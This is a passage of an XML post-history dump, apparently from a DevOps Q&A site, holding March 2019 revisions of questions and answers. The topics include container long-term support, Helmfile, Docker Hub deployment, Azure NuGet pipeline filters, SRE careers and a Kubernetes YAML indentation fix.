and we use it to install all our apps whether mode.js or php or whatever. It uses the same YAML as the built in templates use. &#xA;&#xA;When you want to install many charts then you can use [Helmfile][4]. Your Helmfile has all the yaml to install all your helm charts. The best feature is that it only modifies what changed. If you modify one setting in a Helmfile that configures many apps it will only update the one app. And let you see the prior versions of the k8s yaml of the apps store in k8s and lets you easily rollback to the last working state.&#xA;&#xA;I am making open source the stuff we run a business with as “[OCD][5]” where you change the config in git and a webook will run Helmfile to update your Kubernetes env. Here is the [minishift demo how-to][6]. &#xA;&#xA;&#xA;  [1]: https://docs.spring.io/spring-boot/docs/current/reference/html/build-tool-plugins-maven-plugin.html&#xA;  [2]: https://github.com/jboss-openshift/openshift-quickstarts/tree/master/todolist/todolist-jdbc&#xA;  [3]: https://github.com/ocd-scm/ocd-deployer&#xA;  [4]: https://github.com/roboll/helmfile&#xA;  [5]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [6]: https://github.com/ocd-scm/ocd-meta/wiki/Minishift" ContentLicense="CC BY-SA 4.0" />
  <row Id="21231" PostHistoryTypeId="5" PostId="5681" RevisionGUID="e3d7e3af-39a2-480f-897d-70f22d7e7624" CreationDate="2019-03-24T17:28:22.977" UserId="10599" Comment="added 3 characters in body; added 5 characters in body" Text="**TL;DR** Pick software that focuses on long-term support. Use containers so that you can separate the runtime you need for your app from the security patching of the underlying infrastructure. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;I used to run some old PHP sites running popular content management systems. The plugins would fall out of support such that I could not upgrade the content management system else the plug-ins would break. So then I would stick on the latest major version things worked on and hope that no new security holes would come. I then ran monitoring software and manually fought off any scripts that got injected through security holes. Then the operating systems that support that old version of PHP I needed would fall out of support. I then couldn't easily move the hoster to take better use of cheaper deals or high availability. So I would find ports of the legacy PHP I needed onto the oldest version of an OS that hosters would support. Total nightmare. &#xD;&#xA;&#xD;&#xA;What this demonstrated to me was that some software isn't built to last more than three or four years. Millions of sites would have had the same issues as me but tens of millions more wouldn't have as they would have been shutdown else rebuilt from scratch on newer software. So the first lesson here is that if you think you need to build for the long term you need to figure out if your using software that cares about long-term support and has published lifetime. &#xD;&#xA;&#xD;&#xA;I learnt from the lesson above that the entire software ecosystem I was using didn't care about the problem of long-term support. It had a short-term worldview and the vast majority of its users didn't know and didn't care.  The world has moved on the PHP7 world is taking a new approach to have a predictable software release cycle and lifetime (still quite short I might add, but more predictable). You should not just assume nor expect any distro or any community to be with you for the long haul unless that is exactly what they said they are trying to do. And if that is what they are trying to do then they won't do other things that are in conflict with that such as fun new framework features that are hot on stackoverflow. &#xD;&#xA;&#xD;&#xA;These days I happen to be helping a company that is running Node.js 8 and PHP 7.x on RHEL7 containers on kubernetes on AWS. They get long-term support of security updates with a published lifetime. I have automated the detection of new security patches to the PHP and Node.js containers. A weekly job checks the upstream container registry and if there is announce to a team chat room the command to patch the test environment with the new patch. A commercial subscription to those patches in included in my managed kubernetes hosting costs. Yet as its all opensource I could fall back to using Centos7 if I wanted to cut some costs. Then as I am running containers I don't care whatsoever what patches are being applied to the IaaS nor the version of kubernetes I am hosted on. I am on openshift.com and they have upgraded to 3.11 through security fixes without telling me. They just patch the worker VMs and bounce them and kubernetes starts my containers on other VMs. I am insulated from all the security patching of the cluster I am on because I am running containers that have on them only what is needed to run my app. That only changes when I choose to upgrade to a new container and with long-term security patch support I don't need to do that for years. I understand that they a very stripped down distro that runs my containers to maximise their security and customer density. It doesn't matter to me my apps only load the what is in the container I push.  The idea of an IaaS stack of Linux that goes out of support seems a totally alien concept to me now even through I lived many years with that problem. &#xD;&#xA;&#xD;&#xA;It also means that I am free to move to any cloud or hosting provider that can run my containers. It doesn't have to be kubernetes it could be docker swarm or whatever. All I am betting on is that this better way of working with containers will be supported in the long term. I think that's a good bet. A container image is only a json file naming a load of tar files that are the layers in the image. Yes; its just tar files and json. As long as the container host can load my files from a tar and attach a TCP/IP stack my stuff will run. I am pretty confident that this approach will have a very, very long shelf life. &#xD;&#xA;&#xD;&#xA;I don't think that anyone that is trying to run apps should start out on IaaS today. PaaS is one solution but tends to have very strong vendor lock-in. CaaS is the new sweet spot. Choice. Stability. Control. Portability. If it runs under docker on your laptop just push it to the container orchestrator you are renting space on. My containers only have one thing in them. The hosts that they run on only does secure container hosting. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21232" PostHistoryTypeId="5" PostId="5681" RevisionGUID="f44aa67b-8f29-435b-874e-82ffba03295d" CreationDate="2019-03-24T17:48:10.277" UserId="10599" Comment="added 59 characters in body" Text="**TL;DR** Pick software that focuses on long-term support. Use containers so that you can separate the runtime you need for your app from the security patching of the underlying infrastructure. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;I used to run some old PHP sites running popular content management systems. The plugins would fall out of support such that I could not upgrade the content management system else the plug-ins would break. So then I would stick on the latest major version things worked on and hope that no new security holes would come. I then ran monitoring software and manually fought off any scripts that got injected through security holes. Then the operating systems that support that old version of PHP I needed would fall out of support. I then couldn't easily move the hoster to take better use of cheaper deals or high availability. So I would find ports of the legacy PHP I needed onto the oldest version of an OS that hosters would support. Total nightmare. &#xD;&#xA;&#xD;&#xA;What this demonstrated to me was that some software isn't built to last more than three or four years. Millions of sites would have had the same issues as me but tens of millions more wouldn't have as they would have been shutdown else rebuilt from scratch on newer software. So the first lesson here is that if you think you need to build for the long term you need to figure out if your using software that cares about long-term support and has published lifetime. &#xD;&#xA;&#xD;&#xA;I learnt from the lesson above that the entire software ecosystem I was using didn't care about the problem of long-term support. It had a short-term worldview and the vast majority of its users didn't know and didn't care.  The world has moved on and the PHP7 world is taking a new approach to having a predictable software release cycle and lifetime (still quite short I might add, but more predictable). You should not just assume nor expect any distro or any community to be with you for the long haul unless that is exactly what they said they are trying to do. And if that is what they are trying to do then they won't do other things that are in conflict with that such as fun new framework features that are hot on stackoverflow. &#xD;&#xA;&#xD;&#xA;These days I happen to be helping a company that is running Node.js 8 and PHP 7.x on RHEL7 containers on kubernetes on AWS. They get long-term support of security updates with a published lifetime. I have automated the detection of new security patches to the PHP and Node.js containers. A weekly job checks the upstream container registry and if there is a new security patched version it is announce to a team chat room along with the command to patch the containers in the test environment. A commercial subscription to those patches is included in my managed kubernetes hosting costs. Yet as its all opensource I could fall back to using Centos7 if I wanted to cut some costs. Then as I am running containers I don't care whatsoever what patches are being applied to the IaaS nor the version of kubernetes I am hosted on. I am on openshift.com and they have upgraded to 3.11 through security fixes without telling me. They just patch the worker VMs and bounce them and kubernetes starts my containers on other VMs. I am insulated from all the security patching of the cluster I am on because I am running containers that have inside them the minimal operating environment needed to run my app. That only changes when I choose to upgrade to a new container and with long-term security patch support; I don't need to do that for years. I understand that the Kubernetes hosts that run my containers themselves run a very stripped down distro to maximise their security and customer density. It doesn't matter to me. The idea of an IaaS stack of Linux that goes out of support seems a totally alien concept to me now even through I lived many years with that problem. &#xD;&#xA;&#xD;&#xA;It also means that I am free to move to any cloud or hosting provider that can run my containers. It doesn't have to be kubernetes it could be Docker Swarm or whatever. All that I am betting on is that this better way of working with containers will be supported in the long term. I think that's a good bet. A container image is only a json file naming a load of tar files that are the layers in the image. Yes; its just tar files and json. As long as the container host can load my files from a tar and attach a TCP/IP stack my stuff will run. I am pretty confident that this approach will have a very, very long shelf life. &#xD;&#xA;&#xD;&#xA;I don't think that anyone that is trying to run apps should start out on IaaS today. PaaS is one solution but tends to have very strong vendor lock-in. CaaS is the new sweet spot. Choice. Stability. Control. Portability. If it runs under docker on your laptop just push it to the container orchestrator you are renting space on. My containers only have one thing in them. The hosts that they run on only does secure container hosting. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21233" PostHistoryTypeId="5" PostId="5681" RevisionGUID="6749cbc7-f13a-4525-9892-e0ce6ac448df" CreationDate="2019-03-24T17:54:43.143" UserId="10599" Comment="deleted 3 characters in body; deleted 226 characters in body" Text="**TL;DR** Pick software that focuses on long-term support. Use containers so that you can separate the runtime you need for your app from the security patching of the underlying infrastructure. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;I used to run some old PHP sites running popular content management systems. The plugins would fall out of support such that I could not upgrade the content management system else the plug-ins would break. So then I would stick on the latest major version things worked on and hope that no new security holes would come. I then ran monitoring software and manually fought off any scripts that got injected through security holes. Then the operating systems that support that old version of PHP I needed would fall out of support. I then couldn't easily move the hoster to take better use of cheaper deals or high availability. So I would find ports of the legacy PHP I needed onto the oldest version of an OS that hosters would support. Total nightmare. &#xD;&#xA;&#xD;&#xA;What this demonstrated to me was that some software isn't built to last more than three or four years. Millions of sites would have had the same issues as me but tens of millions more wouldn't have as they would have been shutdown else rebuilt from scratch on newer software. So the first lesson here is that if you think you need to build for the long term you need to figure out if your using software that cares about long-term support and has published lifetime. &#xD;&#xA;&#xA;The world has moved on and the PHP7 world is taking a new approach to having a predictable software release cycle and lifetime (still quite short I might add, but more predictable). You should not just assume nor expect any distro or any community to be with you for the long haul unless that is exactly what they said they are trying to do. And if that is what they are trying to do then they won't do other things that are in conflict with that such as fun new framework features that are hot on stackoverflow. &#xD;&#xA;&#xD;&#xA;These days I happen to be helping a company that is running Node.js 8 and PHP 7.x on RHEL7 containers on kubernetes on AWS. They get long-term support of security updates with a published lifetime. I have automated the detection of new security patches to the PHP and Node.js containers. A weekly job checks the upstream container registry and if there is a new security patched version it is announce to a team chat room along with the command to patch the containers in the test environment. A commercial subscription to those patches is included in my managed kubernetes hosting costs. Yet as its all opensource I could fall back to using Centos7 if I wanted to cut some costs. &#xA;&#xA;As I am running containers I don't care whatsoever what patches are being applied to the IaaS nor the version of kubernetes I am hosted on. I am on openshift.com and they have upgraded to 3.11 through security fixes without telling me. They just patch the worker VMs and bounce them and kubernetes starts my containers on other VMs. I am insulated from all the security patching of the cluster I am on because I am running containers that have inside them the minimal operating environment needed to run my app. That only changes when I choose to upgrade to a new container and with long-term security patch support; I don't need to do that for years. I understand that the Kubernetes hosts that run my containers themselves run a very stripped down distro to maximise their security and customer density. It doesn't matter to me. The idea of an IaaS stack of Linux that goes out of support seems a totally alien concept to me now even through I lived many years with that problem. &#xD;&#xA;&#xD;&#xA;It also means that I am free to move to any cloud or hosting provider that can run my containers. It doesn't have to be kubernetes it could be Docker Swarm or whatever. All that I am betting on is that this better way of working with containers will be supported in the long term. I think that's a good bet. A container image is only a json file naming a load of tar files that are the layers in the image. Yes; its just tar files and json. As long as the container host can load my files from a tar and attach a TCP/IP stack my stuff will run. I am pretty confident that this approach will have a very, very long shelf life. &#xD;&#xA;&#xD;&#xA;I don't think that anyone that is trying to run apps should start out on IaaS today. PaaS is one solution but tends to have very strong vendor lock-in. CaaS is the new sweet spot. Choice. Stability. Control. Portability. If it runs under docker on your laptop just push it to the container orchestrator you are renting space on. My containers only have one thing in them. The hosts that they run on only does secure container hosting. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21234" PostHistoryTypeId="2" PostId="6685" RevisionGUID="449d99ad-b2b4-4eb1-9403-4a0ff0c92002" CreationDate="2019-03-24T20:34:28.477" UserId="4175" Text="&gt; So, I desire some full system automation solution. Is there even such a thing which is usually stable and countable in earth in 2018? I ask this totally seriously, maybe I need to be less stressed about this, but maybe such technical solution (which isn't SaaS of course) exist and might suit my needs?&#xD;&#xA;&#xD;&#xA;Yes, such a thing exists and is possible. You mention it yourself: *full automation* gives you exactly what you need, i.e. a system that evolves continuously with whatever the next 15 or 30 years throw up at us.&#xD;&#xA;&#xD;&#xA;The only step that's missing for you right now is to not start your automation on the Ansible level, but dig deeper. I.e., you will want to automate the installation of the OS  (or the choice of a base image, however your XaaS provider calls it), and the creation of your compute ressources (VMs, Docker or whatever you have), the networking, the quotas (RAM, CPU, storage etc.) and so on. Also, importantly, a version upgrade needs to be automated (for example as an A/B or blue-green deployment).&#xD;&#xA;&#xD;&#xA;To *automate* that stuff means that you need to *configure* all those bits and pieces. Whatever you have configured (presumably in some text files) you can more or less easily run in alternative testing/development environments. Thus, you can then (automatically) test new releases of whatever part that changes to your heart's content. This, then, means that whenever any part - the OS being one of them - changes, you can immediately go along with that change.&#xD;&#xA;&#xD;&#xA;By following *every* upgrade of your underlying stuff relentlessly, you make sure that you never get old.&#xD;&#xA;&#xD;&#xA;Like your source code, all this configuration needs to go in your revision control system as well, so you have freedom to play with it, try new stuff, and maybe revert if it doesn't work.&#xD;&#xA;&#xD;&#xA;To give you concrete examples, just as a starting point, you can check out Vagrant or Terraform (google &quot;vagrant alternatives&quot; for more). Sometimes, the choice of your XaaS provider guides you to a specific tool; or you might pick a tool and then look for a fitting provider. But that would be a topic for a different question." ContentLicense="CC BY-SA 4.0" />
  <row Id="21235" PostHistoryTypeId="2" PostId="6686" RevisionGUID="55747581-e72d-41cf-a2e1-489676f62954" CreationDate="2019-03-25T05:02:41.390" UserId="13045" Text="I don't want to nit pick, but I respectfully disagree with the idea that DevOps is about speed while SRE is about reliability. I understand this is an easy thing to think -- especially because SRE has &quot;Reliability&quot; in its name -- but it a'int so. :-)&#xD;&#xA;&#xD;&#xA;SRE is all about velocity.  &#xD;&#xA;&#xD;&#xA;We think that over the long run you'll go much much faster if you recognize when the wheels are starting to go wobbly (SLOs and Error Budgets) and slow down in those cases to make things better. That, in our experience, is much faster than having to stop for a goodly long time because we let a bunch of reliability related technical debt pile up.&#xD;&#xA;&#xD;&#xA;SRE can be thought of as a specific instantiation of DevOps with a more uniformly enforced set of constraints. (Hence the **Class SRE implements DevOps** formulation above.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21236" PostHistoryTypeId="2" PostId="6687" RevisionGUID="cd46b291-c035-4781-887c-e3e477d6906a" CreationDate="2019-03-25T12:07:20.687" UserId="13052" Text="Note: I am a .NET Developer that is dabbling in DevOps. I want to learn.&#xD;&#xA;&#xD;&#xA;**Current Situation:**&#xD;&#xA;&#xD;&#xA;I have my .NET Core project dockerised. It sits [on GitHub][1] and is Open Source. Using Travis CI; as soon as I check some code into the GitHub repository, Travis CI builds a fresh docker image and pushes it [to Docker Hub][2] with two tags `$BUILD_NUMBER` and `latest`.&#xD;&#xA;&#xD;&#xA;I have an Ubuntu VPS where I plan on running my dockerised applications.&#xD;&#xA;&#xD;&#xA;**Question:**&#xD;&#xA;&#xD;&#xA;Once the images are uploaded to Docker Hub (i.e. travis has finished the steps inside .travis.yml), how can I get those latest images to automatically run on my VPS?&#xD;&#xA;&#xD;&#xA;This is where I am stuck.&#xD;&#xA;&#xD;&#xA;I understand that once the docker containers are running on my VPS, I have to [set up nginx][3] as proxy ...etc, so I'm OK with that. I am just stuck on getting the latest docker image running on my VPS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/JwanKhalaf/Bejebeje.Identity&#xD;&#xA;  [2]: https://cloud.docker.com/u/bejebeje/repository/docker/bejebeje/identity&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/aspnet/core/host-and-deploy/linux-nginx?view=aspnetcore-2.2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21237" PostHistoryTypeId="1" PostId="6687" RevisionGUID="cd46b291-c035-4781-887c-e3e477d6906a" CreationDate="2019-03-25T12:07:20.687" UserId="13052" Text="Docker Hub to VPS" ContentLicense="CC BY-SA 4.0" />
  <row Id="21238" PostHistoryTypeId="3" PostId="6687" RevisionGUID="cd46b291-c035-4781-887c-e3e477d6906a" CreationDate="2019-03-25T12:07:20.687" UserId="13052" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21239" PostHistoryTypeId="2" PostId="6688" RevisionGUID="57eba599-ea9a-46d9-8aba-f6d38dd3518d" CreationDate="2019-03-25T15:02:44.513" UserId="12286" Text="My problem was that the docker-machine didn't have enough memory to run both services at the same time.&#xD;&#xA;&#xD;&#xA;Using those commands fixed it:&#xD;&#xA;&#xD;&#xA;    docker-machine stop&#xD;&#xA;    &quot;C:\Program Files\Oracle\VirtualBox\VBoxManage.exe&quot; modifyvm default --cpus 2&#xD;&#xA;    &quot;C:\Program Files\Oracle\VirtualBox\VBoxManage.exe&quot; modifyvm default --memory 4096&#xD;&#xA;    docker-machine start&#xD;&#xA;&#xD;&#xA;(The path to the VBoxManage.exe maybe be different for other users and it can be change to just &quot;VBoxManage&quot; if adding it to the environment paths)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21240" PostHistoryTypeId="2" PostId="6689" RevisionGUID="e8fdf89e-1c63-491c-8e24-a9f4e5fd0d88" CreationDate="2019-03-25T18:10:07.453" UserId="13063" Text="I'm working on a nuget build pipeline.  My problem is that my itegration test project is being packaged and deployed to the azure artifacts, while my unit test projects are not.&#xD;&#xA;&#xD;&#xA;The integration test project is a console application.  I want it in the project, but I don't want it to deploy into the artifacts.&#xD;&#xA;&#xD;&#xA;My Projects in the solution:&#xD;&#xA;&#xD;&#xA;MyProject.Common&#xD;&#xA;MyProject.Common.UnitTests&#xD;&#xA;MyProject&#xD;&#xA;MyProject.UnitTests&#xD;&#xA;MyProject.IntegrationTests&#xD;&#xA;&#xD;&#xA;I am using .net core v2 steps &#xD;&#xA;&#xD;&#xA;Restore  &#xD;&#xA;Build  &#xD;&#xA;Test  &#xD;&#xA;Publish  &#xD;&#xA;Pack  &#xD;&#xA;Push&#xD;&#xA;&#xD;&#xA;Test Path to project (works)&#xD;&#xA;&gt; `**/*[Uu]nit[Tt]ests.csproj`&#xD;&#xA;&#xD;&#xA;Publish Path to projects (works)&#xD;&#xA;&gt; `!**/*[Tt]ests.csproj`  &#xD;&#xA;&gt; `**/*.csproj`&#xD;&#xA;&#xD;&#xA;Pack path to project (does not work - filters unit test projects, but not integration test)&#xD;&#xA;&#xD;&#xA;&gt; `!**/*[Tt]ests.csproj;**/*.csproj`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21241" PostHistoryTypeId="1" PostId="6689" RevisionGUID="e8fdf89e-1c63-491c-8e24-a9f4e5fd0d88" CreationDate="2019-03-25T18:10:07.453" UserId="13063" Text="Azure Devops: Filter Test Projects in Nuget Build Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="21242" PostHistoryTypeId="3" PostId="6689" RevisionGUID="e8fdf89e-1c63-491c-8e24-a9f4e5fd0d88" CreationDate="2019-03-25T18:10:07.453" UserId="13063" Text="&lt;azure-devops&gt;&lt;build-pipeline&gt;&lt;azure-pipelines&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21243" PostHistoryTypeId="2" PostId="6690" RevisionGUID="3d9d7b13-2f9c-4225-b7f7-7fceb4923ed0" CreationDate="2019-03-25T18:17:51.773" UserId="13064" Text="Like me, most of the folks wants to work in Google some day.&#xD;&#xA;- What are the tools an SRE should really know before applying at Google?&#xD;&#xA;- What are the things to expect on an SRE interview?&#xD;&#xA;- System Design knowledge is required?&#xD;&#xA;- Do we really need to know the algorithms and implementations?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21244" PostHistoryTypeId="1" PostId="6690" RevisionGUID="3d9d7b13-2f9c-4225-b7f7-7fceb4923ed0" CreationDate="2019-03-25T18:17:51.773" UserId="13064" Text="SRE Role at Google" ContentLicense="CC BY-SA 4.0" />
  <row Id="21245" PostHistoryTypeId="3" PostId="6690" RevisionGUID="3d9d7b13-2f9c-4225-b7f7-7fceb4923ed0" CreationDate="2019-03-25T18:17:51.773" UserId="13064" Text="&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21246" PostHistoryTypeId="5" PostId="6689" RevisionGUID="d9356dac-70c8-459b-805e-1b342b3a429f" CreationDate="2019-03-25T18:22:28.490" UserId="13063" Comment="added 1 character in body" Text="I'm working on a nuget build pipeline.  My problem is that my integration test project is being packaged and deployed to the azure artifacts, while my unit test projects are not.&#xD;&#xA;&#xD;&#xA;The integration test project is a console application.  I want it in the project, but I don't want it to deploy into the artifacts.&#xD;&#xA;&#xD;&#xA;My Projects in the solution:&#xD;&#xA;&#xD;&#xA;MyProject.Common&#xD;&#xA;MyProject.Common.UnitTests&#xD;&#xA;MyProject&#xD;&#xA;MyProject.UnitTests&#xD;&#xA;MyProject.IntegrationTests&#xD;&#xA;&#xD;&#xA;I am using .net core v2 steps &#xD;&#xA;&#xD;&#xA;Restore  &#xD;&#xA;Build  &#xD;&#xA;Test  &#xD;&#xA;Publish  &#xD;&#xA;Pack  &#xD;&#xA;Push&#xD;&#xA;&#xD;&#xA;Test Path to project (works)&#xD;&#xA;&gt; `**/*[Uu]nit[Tt]ests.csproj`&#xD;&#xA;&#xD;&#xA;Publish Path to projects (works)&#xD;&#xA;&gt; `!**/*[Tt]ests.csproj`  &#xD;&#xA;&gt; `**/*.csproj`&#xD;&#xA;&#xD;&#xA;Pack path to project (does not work - filters unit test projects, but not integration test)&#xD;&#xA;&#xD;&#xA;&gt; `!**/*[Tt]ests.csproj;**/*.csproj`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21247" PostHistoryTypeId="2" PostId="6691" RevisionGUID="56038f18-cc17-43b8-a577-bbccbb529f7f" CreationDate="2019-03-25T18:25:26.507" UserId="13025" Text="It's a fundamental principle of DevOps and SRE that failure is normal and setting a goal of perfect reliability is misguided. But sometimes IT execs and business leaders push back on the idea. They believe the business needs 100% reliability. What are some good way to persuade them to change their thinking?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21248" PostHistoryTypeId="1" PostId="6691" RevisionGUID="56038f18-cc17-43b8-a577-bbccbb529f7f" CreationDate="2019-03-25T18:25:26.507" UserId="13025" Text="How can I convince someone that 100% reliability is not the right target for anything?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21249" PostHistoryTypeId="3" PostId="6691" RevisionGUID="56038f18-cc17-43b8-a577-bbccbb529f7f" CreationDate="2019-03-25T18:25:26.507" UserId="13025" Text="&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21250" PostHistoryTypeId="5" PostId="6689" RevisionGUID="5b6f28ed-105f-4e93-87c9-705ffc2408a1" CreationDate="2019-03-25T18:35:14.833" UserId="13063" Comment="added 10 characters in body" Text="I'm working on a nuget build pipeline.  My problem is that my integration test project is being packaged and deployed to the azure artifacts, while my unit test projects are not.&#xD;&#xA;&#xD;&#xA;The integration test project is a console application.  I want it in the project, but I don't want it to deploy into the artifacts.&#xD;&#xA;&#xD;&#xA;My Projects in the solution:&#xD;&#xA;&#xD;&#xA;* MyProject.Common&#xD;&#xA;* MyProject.Common.UnitTests&#xD;&#xA;* MyProject&#xD;&#xA;* MyProject.UnitTests&#xD;&#xA;* MyProject.IntegrationTests&#xD;&#xA;&#xD;&#xA;I am using .net core v2 steps &#xD;&#xA;&#xD;&#xA;Restore  &#xD;&#xA;Build  &#xD;&#xA;Test  &#xD;&#xA;Publish  &#xD;&#xA;Pack  &#xD;&#xA;Push&#xD;&#xA;&#xD;&#xA;Test Path to project (works)&#xD;&#xA;&gt; `**/*[Uu]nit[Tt]ests.csproj`&#xD;&#xA;&#xD;&#xA;Publish Path to projects (works)&#xD;&#xA;&gt; `!**/*[Tt]ests.csproj`  &#xD;&#xA;&gt; `**/*.csproj`&#xD;&#xA;&#xD;&#xA;Pack path to project (does not work - filters unit test projects, but not integration test)&#xD;&#xA;&#xD;&#xA;&gt; `!**/*[Tt]ests.csproj;**/*.csproj`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21251" PostHistoryTypeId="2" PostId="6692" RevisionGUID="b09bf19c-b8e8-4c73-860a-410fafe54f7a" CreationDate="2019-03-25T19:34:03.390" UserId="293" Text="Why do you think 100% reliability is not a good idea? Can you support your beliefs with numbers, facts and logical explanations?&#xA;&#xA;Is the needed hardware too expensive? Development time too long? Maybe you can show that the probability of success of a chain of components is the multiplication of the individual parts, some of which are not under your control?&#xA;&#xA;If you can support your claims then present those to your managers, if not then your managers might be right. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21252" PostHistoryTypeId="5" PostId="6630" RevisionGUID="c79f50b8-25d9-490b-acef-b0830942c50f" CreationDate="2019-03-25T22:06:43.517" UserId="12903" Comment="deleted 5 characters in body; edited title" Text="We have two clusters with multiple namespaces in each project. However our Error Reporting groups all errors together in the whole project and marking them as ‘gke_instances’ - there must be a better way to track where is the error coming from exactly (cluster/namespace/workload name)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21253" PostHistoryTypeId="4" PostId="6630" RevisionGUID="c79f50b8-25d9-490b-acef-b0830942c50f" CreationDate="2019-03-25T22:06:43.517" UserId="12903" Comment="deleted 5 characters in body; edited title" Text="How to differentiate logs on the Error Reporting in the GCloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21254" PostHistoryTypeId="2" PostId="6693" RevisionGUID="ceb0dd7b-823f-4590-bfe8-fda08b3a1b79" CreationDate="2019-03-25T22:14:50.120" UserId="12314" Text="I think there are two ways to go about this. You can either go deep in Systems Engineering or the reliability aspects of Software Engineering.&#xD;&#xA;&#xD;&#xA;I'm a Systems Engineer myself. I think I got the job because I knew quite a bit about Linux internals (read Linux Kernel Development by Robert Love and no you don't need to be a kernel developer) AND Non-Abstract Large System Design (aka NALSD, read https://landing.google.com/sre/workbook/chapters/non-abstract-design/). I had experience running ISPs (DNS, Email, etc) and automating myself out of many SysAdmin tasks as well. It's also helped that I had a track record of contributing to open source projects.&#xD;&#xA;&#xD;&#xA;On the Software Engineering side, NALSD comes up again. I'd also study SREcon talks about software projects developed by SREs while at the job, e.g libraries to make it harder for human mistakes to surface as production incidents, writing software for all kinds of automation and tooling, etc.&#xD;&#xA;&#xD;&#xA;I'd recommend reading all SRE related books as well then trying to practice some of it in your lab at home or at work even. http://www.google.com/sre has 2 for free online. There are probably 3-5 more out there as we speak.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21255" PostHistoryTypeId="50" PostId="6121" RevisionGUID="c1d2df0c-07d3-457a-a204-4fa13aead24d" CreationDate="2019-03-26T00:46:27.740" UserId="-1" />
  <row Id="21256" PostHistoryTypeId="2" PostId="6694" RevisionGUID="b936c010-ab05-4541-9ad2-f4fd30c500fd" CreationDate="2019-03-26T01:28:03.017" UserId="6282" Text="I know that `yml` files are temperamental and I still struggle to figure it out. Can anyone help out here to understand what is it about my `client-deployment.yml` file that makes Kubernetes want to issue the above error?&#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: client-deployment&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          component: web&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            component: web&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;            - name: client&#xD;&#xA;              image: ldco2016/multi-client:v1.2&#xD;&#xA;              ports:&#xD;&#xA;                - containerPort: 3000&#xD;&#xA;&#xD;&#xA;I got the above error running `kubectl apply -f k8s`&#xD;&#xA;&#xD;&#xA;`k8s` being one of the folders in the project with the `yml` configuration files." ContentLicense="CC BY-SA 4.0" />
  <row Id="21257" PostHistoryTypeId="1" PostId="6694" RevisionGUID="b936c010-ab05-4541-9ad2-f4fd30c500fd" CreationDate="2019-03-26T01:28:03.017" UserId="6282" Text="error validating data: ValidationError(Deployment): unknown field &quot;spec&quot; in" ContentLicense="CC BY-SA 4.0" />
  <row Id="21258" PostHistoryTypeId="3" PostId="6694" RevisionGUID="b936c010-ab05-4541-9ad2-f4fd30c500fd" CreationDate="2019-03-26T01:28:03.017" UserId="6282" Text="&lt;kubernetes&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21259" PostHistoryTypeId="2" PostId="6695" RevisionGUID="43ee1861-ef84-4af6-80a9-4caffbf8e781" CreationDate="2019-03-26T01:50:51.830" UserId="6282" Text="Sure enough, everything and including the last `spec:` needed to be tabbed to the left once:&#xD;&#xA;&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: client-deployment&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 3&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          component: web&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            component: web&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;            - name: client&#xD;&#xA;              image: ldco2016/multi-client&#xD;&#xA;              ports:&#xD;&#xA;                - containerPort: 3000&#xD;&#xA;&#xD;&#xA;Unfortunately, you can't tell the difference with how `yaml` is formatted when pasted here, so it would not have been an easy catch, but if you would be looking at the original file configuration you would have noticed it like I did when I looked a third time." ContentLicense="CC BY-SA 4.0" />
  <row Id="21261" PostHistoryTypeId="5" PostId="6690" RevisionGUID="1d6475a0-0637-4508-bc60-bebaae83d500" CreationDate="2019-03-26T05:09:30.340" UserId="40" Comment="deleted 25 characters in body" Text="I want to work at Google some day.&#xD;&#xA;&#xD;&#xA;- What are the tools an SRE should really know before applying at Google?&#xD;&#xA;- What are the things to expect on an SRE interview?&#xD;&#xA;- System Design knowledge is required?&#xD;&#xA;- Do I really need to know the algorithms and implementations?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
